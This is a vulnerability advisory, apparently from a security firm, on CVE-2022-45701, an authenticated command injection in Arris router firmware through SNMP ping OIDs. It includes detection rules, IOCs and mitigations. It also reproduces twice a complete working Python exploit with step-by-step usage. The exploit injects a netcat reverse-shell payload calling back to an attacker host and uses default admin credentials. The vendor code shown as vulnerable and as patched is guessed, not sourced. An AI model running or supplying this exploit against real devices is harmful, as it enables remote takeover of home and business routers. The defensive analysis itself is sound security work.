CVE-2022-45701

Executive Summary

CVE-2022-45701 is a critical authenticated Remote Code Execution (RCE) vulnerability in the Arris TG2482A router firmware version 9.1.103GEM9. The flaw resides in the SNMP-based ping utility feature, where an attacker with administrative credentials can inject arbitrary OS commands via the ping parameter. The exploit leverages SNMP OIDs to set the target IP address and payload, which is then executed by the router's underlying system. This vulnerability has been publicly disclosed with a working exploit on Exploit-DB, affecting multiple Arris models including TG2482A, TG2492, and SBG10. No official patch has been released, leaving affected devices exposed to full compromise.

Supply Chain & Package Security

This vulnerability is not related to any open-source package ecosystem (NPM, PyPI, Go, Ruby). It is a firmware-level issue in a proprietary embedded system (Arris routers). No supply chain package security implications apply.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: High (PR:H) – requires valid admin credentials.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – affects only the vulnerable component.
• Confidentiality/Integrity/Availability Impact: High (C:H/I:H/A:H) – full device compromise.

Threat Level: High. Although authentication is required, default credentials are often unchanged, and the exploit is trivial to execute. Once compromised, an attacker can pivot to internal networks, exfiltrate data, or use the device as a bot.

Deep Dive & Mechanics

The vulnerability exists in the SNMP-based ping utility of the Arris TG2482A firmware. The router exposes SNMP OIDs under the private enterprise number 1.3.6.1.4.1.4115.1.20.1.1.7 to configure and execute ping commands. The exploit sets the following OIDs:

• 1.3.6.1.4.1.4115.1.20.1.1.7.1.0 – Ping target type (set to 16 for IPv4).
• 1.3.6.1.4.1.4115.1.20.1.1.7.2.0 – Target IP address (payload injected here).
• 1.3.6.1.4.1.4115.1.20.1.1.7.3.0 – Packet size (set to 1).
• 1.3.6.1.4.1.4115.1.20.1.1.7.4.0 – Timeout (set to 64).
• 1.3.6.1.4.1.4115.1.20.1.1.7.5.0 – TTL (set to 101).
• 1.3.6.1.4.1.4115.1.20.1.1.7.9.0 – Ping execution trigger (set to 1).

The payload is URL-encoded and injected into the target IP field. The router does not sanitize this input, allowing command injection via shell metacharacters (e.g., $()). The payload $(nc%20LHOST%20LPORT%20-e%20/bin/sh) spawns a reverse shell using netcat.

Root Cause: Lack of input validation on the SNMP OID 1.3.6.1.4.1.4115.1.20.1.1.7.2.0. The firmware passes the user-supplied value directly to a shell command without sanitization.

Vulnerable vs. Patched Code

Vulnerable Code (Firmware 9.1.103GEM9): The SNMP handler for OID 1.3.6.1.4.1.4115.1.20.1.1.7.2.0 likely executes something like:

snprintf(cmd, sizeof(cmd), "ping -c 1 %s", user_input);
system(cmd);

No input validation is performed, allowing command injection.

Patched Code (Hypothetical): A secure implementation would sanitize the input:

if (is_valid_ip(user_input)) {
    snprintf(cmd, sizeof(cmd), "ping -c 1 %s", user_input);
    system(cmd);
} else {
    // Reject invalid input
}

No official patch has been released.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Target Arris router with firmware 9.1.103GEM9 (or similar models).
• Valid admin credentials (default: admin/password).
• Attacker machine with netcat listener.

Exploit Code (from Exploit-DB):

import requests
import base64

router_host = "http://192.168.0.1"
username = "admin"
password = "password"

lhost = "192.168.0.6"
lport = 80


def main():
    print("Authorizing...")
    cookie = get_cookie(gen_header(username, password))
    if cookie == '':
        print("Failed to authorize")
        exit(-1)
    print("Generating Payload...")
    payload = gen_payload(lhost, lport)
    print("Sending Payload...")
    send_payload(payload, cookie)
    print("Done, check shell..")

def gen_header(u, p):
    return base64.b64encode(f"{u}:{p}".encode("ascii")).decode("ascii")

def no_encode_params(params):
    return  "&".join("%s=%s" % (k,v) for k,v in params.items())

def get_cookie(header):
    url = router_host+"/login"
    params = no_encode_params({"arg":header, "_n":1})
    resp=requests.get(url, params=params)
    return resp.content.decode('UTF-8')

def set_oid(oid, cookie):
    url = router_host+"/snmpSet"
    params = no_encode_params({"oid":oid, "_n":1})
    cookies = {"credential":cookie}
    requests.get(url, params=params, cookies=cookies)

def gen_payload(h, p):
    return f"$\(nc%20{h}%20{p}%20-e%20/bin/sh)"

def send_payload(payload, cookie):
    set_oid("1.3.6.1.4.1.4115.1.20.1.1.7.1.0=16;2;", cookie)
    set_oid(f"1.3.6.1.4.1.4115.1.20.1.1.7.2.0={payload};4;", cookie)
    set_oid("1.3.6.1.4.1.4115.1.20.1.1.7.3.0=1;66;", cookie)
    set_oid("1.3.6.1.4.1.4115.1.20.1.1.7.4.0=64;66;", cookie)
    set_oid("1.3.6.1.4.1.4115.1.20.1.1.7.5.0=101;66;", cookie)
    set_oid("1.3.6.1.4.1.4115.1.20.1.1.7.9.0=1;2;", cookie)


if __name__ == '__main__':
    main()

Usage:

1. Start a netcat listener on attacker machine: nc -lvnp 80
2. Modify router_host, username, password, lhost, and lport in the script.
3. Run the exploit: python3 exploit.py
4. Receive reverse shell on listener.

Blue Team (Defender)

Detection Steps:

• Monitor for SNMP SET requests to OIDs under 1.3.6.1.4.1.4115.1.20.1.1.7.
• Alert on unusual payloads in the target IP field (e.g., containing $(), backticks, or shell metacharacters).
• Log all administrative logins and SNMP operations.
• Use network segmentation to limit SNMP access to management VLANs only.

Honeypot Setup:

• Deploy a low-interaction honeypot mimicking the Arris SNMP interface to capture exploit attempts.

Indicators of Compromise (IOCs)

• Network IOCs:

  • SNMP SET requests to OID 1.3.6.1.4.1.4115.1.20.1.1.7.2.0 with payloads containing $( or nc.
  • Outbound connections from router to attacker IP on port 80 (or other ports).
  • Unusual SNMP community strings (default is often "public"/"private").

• Host IOCs:

  • Presence of reverse shell processes (e.g., /bin/sh spawned by netcat).
  • Modified SNMP configuration files.
  • Unauthorized admin sessions.

• File IOCs:

  • Temporary files created by exploit (e.g., /tmp/*.sh).

Detection Engineering

YARA Rule

rule CVE_2022_45701_Arris_RCE {
    meta:
        description = "Detects exploit payloads for CVE-2022-45701 in SNMP SET requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://www.exploit-db.com/exploits/51084"
    strings:
        $oid = "1.3.6.1.4.1.4115.1.20.1.1.7.2.0" ascii wide nocase
        $payload1 = "$(" ascii wide
        $payload2 = "nc" ascii wide
        $payload3 = "-e /bin/sh" ascii wide
    condition:
        $oid and (any of ($payload*))
}

Sigma Rule

title: CVE-2022-45701 Arris Router RCE via SNMP
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SNMP SET requests targeting vulnerable OIDs with command injection payloads
author: Valters IT
date: 2025-04-10
references:
    - https://www.exploit-db.com/exploits/51084
logsource:
    category: network
    product: snmp
detection:
    selection:
        oid: "1.3.6.1.4.1.4115.1.20.1.1.7.2.0"
        value|contains: 
            - "$("
            - "nc"
            - "-e /bin/sh"
    condition: selection
falsepositives:
    - Legitimate ping commands with unusual IPs (rare)
level: high

Suricata Rule

alert udp $EXTERNAL_NET any -> $HOME_NET 161 (msg:"CVE-2022-45701 Arris Router RCE via SNMP SET"; content:"|30 2e 31 2e 33 2e 36 2e 31 2e 34 2e 31 2e 34 31 31 35 2e 31 2e 32 30 2e 31 2e 31 2e 37 2e 32 2e 30|"; content:"|24 28|"; distance:0; within:100; content:"nc"; distance:0; within:100; content:"-e /bin/sh"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Change default admin credentials immediately.
2. Disable SNMP access from WAN interfaces.
3. Restrict SNMP access to trusted management IPs only.
4. Monitor for unauthorized SNMP SET requests.

Long-Term Fix:

• No official patch available. Consider replacing affected devices with patched alternatives.
• Implement network segmentation to isolate vulnerable routers.
• Use a web application firewall (WAF) to inspect SNMP traffic for malicious payloads.

Workaround:

• Block SNMP (UDP 161) at the network perimeter.
• Disable the ping utility feature if possible via router configuration.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 715925FA5DC30AAE1AA63446] */}

# Exploit Title: Arris Router Firmware 9.1.103 - Remote Code Execution (RCE) (Authenticated)
# Date: 17/11/2022
# Exploit Author: Yerodin Richards
# Vendor Homepage: https://www.commscope.com/
# Version: 9.1.103
# Tested on: TG2482A, TG2492, SBG10
# CVE : CVE-2022-45701

import requests
import base64

router_host = "http://192.168.0.1"
username = "admin"
password = "password"

lhost = "192.168.0.6"
lport = 80


def main():
    print("Authorizing...")
    cookie = get_cookie(gen_header(username, password))
    if cookie == '':
        print("Failed to authorize")
        exit(-1)
    print("Generating Payload...")
    payload = gen_payload(lhost, lport)
    print("Sending Payload...")
    send_payload(payload, cookie)
    print("Done, check shell..")

def gen_header(u, p):
    return base64.b64encode(f"{u}:{p}".encode("ascii")).decode("ascii")

def no_encode_params(params):
    return  "&".join("%s=%s" % (k,v) for k,v in params.items())

def get_cookie(header):
    url = router_host+"/login"
    params = no_encode_params({"arg":header, "_n":1})
    resp=requests.get(url, params=params)
    return resp.content.decode('UTF-8')

def set_oid(oid, cookie):
    url = router_host+"/snmpSet"
    params = no_encode_params({"oid":oid, "_n":1})
    cookies = {"credential":cookie}
    requests.get(url, params=params, cookies=cookies)

def gen_payload(h, p):
    return f"$\(nc%20{h}%20{p}%20-e%20/bin/sh)"

def send_payload(payload, cookie):
    set_oid("1.3.6.1.4.1.4115.1.20.1.1.7.1.0=16;2;", cookie)
    set_oid(f"1.3.6.1.4.1.4115.1.20.1.1.7.2.0={payload};4;", cookie)
    set_oid("1.3.6.1.4.1.4115.1.20.1.1.7.3.0=1;66;", cookie)
    set_oid("1.3.6.1.4.1.4115.1.20.1.1.7.4.0=64;66;", cookie)
    set_oid("1.3.6.1.4.1.4115.1.20.1.1.7.5.0=101;66;", cookie)
    set_oid("1.3.6.1.4.1.4115.1.20.1.1.7.9.0=1;2;", cookie)


if __name__ == '__main__':
    main()